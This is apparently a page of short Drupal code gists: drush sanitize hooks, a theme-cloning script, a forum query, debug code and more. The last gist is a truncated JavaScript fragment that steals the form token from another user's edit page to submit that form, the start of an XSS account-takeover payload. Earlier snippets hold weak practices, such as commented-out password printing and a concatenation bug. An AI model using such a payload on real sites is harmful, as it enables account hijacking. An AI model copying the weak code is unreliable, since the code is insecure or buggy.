This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// .... | |
array_walk($_POST, 'check_plain'); | |
// .... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function paranoia_drush_sql_sync_sanitize($source) { | |
drush_sql_register_post_sync_op('webform_delete_webform_submissions', | |
dt('Delete all webform_submission primary entries'), | |
"delete from webform_submissions;"); | |
drush_sql_register_post_sync_op('webform_delete_webform_submitted_data', | |
dt('Delete all webform_submitted_data field level entries'), | |
"delete from webform_submitted_data;"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function webform_drush_sql_sync_sanitize($source) { | |
drush_sql_register_post_sync_op('webform_delete_webform_submissions', | |
dt('Delete all webform_submission primary entries'), | |
"delete from webform_submissions;"); | |
drush_sql_register_post_sync_op('webform_delete_webform_submitted_data', | |
dt('Delete all webform_submitted_data field level entries'), | |
"delete from webform_submitted_data;"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function custom_node_2_php() { | |
if(user_is_anonymous()) { | |
return; | |
} | |
... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* --------------------------------------------------------------------- | |
* The code in this file seemed like it wasn't being used, since the | |
* module wasn't enabled. In case there was any use for it, I'm storing | |
* the code in this file so I can continue to use the custom module | |
* namespace. | |
* --------------------------------------------------------------------- | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
REPOS="/Users/gknaddison/checkouts/allthestuff/newstyle/d6/themes" | |
mkdir $REPOS | |
cd $REPOS | |
while read line; do | |
echo "$line" | |
git clone git://git.drupal.org/project/${line}.git ${REPOS}/${line} | |
cd ${REPOS}/${line} && git checkout 7.x-1.x | |
done < "/Users/gknaddison/checkouts/allthestuff/allthemes.txt" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Implement hook_field_attach_submit(). | |
*/ | |
function example_authentication_field_attach_submit($entity_type, $entity, $form, &$form_state) { | |
// drupal_set_message('THE ENTITY TYPE IS:'.$entity_type); | |
if ($entity_type == 'user') { | |
// drupal_set_message('THE CURRENT PASSWORD IS: '.$form['#user']->current_pass); | |
// drupal_set_message('THE NEW PASSWORD IS: '.$form['#user']->pass); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$query_latest_comment = "SELECT c.nid, c.cid from {node_comment_statistics} c INNER JOIN {node} n ON c.nid=n.nid WHERE n.type=:forum_type and c.cid > :zero_value ORDER BY last_comment_timestamp DESC LIMIT 0, 50"; | |
$result_latest_comment = db_query($query_latest_comment, array (':forum_type'=>'forum', ':zero_value'=>0)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ($making_this_valid) { | |
// I would totally buy lip balm called Sonnabalm, if mark would make it. | |
} | |
else { | |
// Time out, in seconds, until login URL expires. 24 hours = 86400 seconds. | |
$timeout = 86400; | |
if($activation_days){ | |
$timeout .= $timeout* $activation_days; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Test for the presence of jquery. | |
if (typeof jQuery == 'function') { | |
// Fetch a correct token from the user edit form because we will need it to | |
// successfully submit the user edit form later. | |
// TODO: Include a check to increase the chance that the current user is admin, | |
// which will reduce the number of access denied error messages in the log. | |
jQuery.get(Drupal.settings.basePath + 'user/2/edit', | |
function (data, status) { | |
if (status == 'success') { | |
// Extract the token and other required data |